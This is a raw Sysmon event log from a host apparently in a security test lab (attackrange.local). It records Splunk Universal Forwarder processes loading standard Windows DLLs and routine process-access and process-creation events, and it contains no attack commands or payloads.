WindowsValid 734700x800000000000000053556Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.907{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000053555Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.891{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000053554Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.891{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000053553Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.891{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000053552Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.891{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000053551Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.891{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000053550Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.891{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000053549Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.891{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000053548Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.891{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000053547Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.891{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000053546Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.891{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000053545Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.891{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000053544Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.891{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053543Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.891{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 10341000x800000000000000053542Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.891{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000053541Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.891{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000053540Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.891{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000053539Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.891{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053538Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.891{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exeMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165trueSplunk, Inc.Valid 10341000x800000000000000053537Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.891{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053536Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.891{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053535Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.890{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053534Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.890{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053533Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.890{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000053532Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.890{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000053531Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.889{7BD73061-73B5-613B-7F0B-00000000F001}7164C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000053530Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.887{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=CFD7320435143B01213D0C3A10717925,SHA256=911154CCC66756A74A5356DC02074389C8033B5005C54D523A13B8D7CEC18291,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000053529Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.554{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000053528Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.554{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000053527Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.554{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000053526Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.291{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000053525Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.291{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000053524Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.291{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000053523Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.291{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000053522Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.291{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000053521Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.291{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000053520Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.290{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000053519Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.290{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000053518Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000053517Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000053516Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:17.270{7BD73061-73B5-613B-7E0B-00000000F001}356C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft 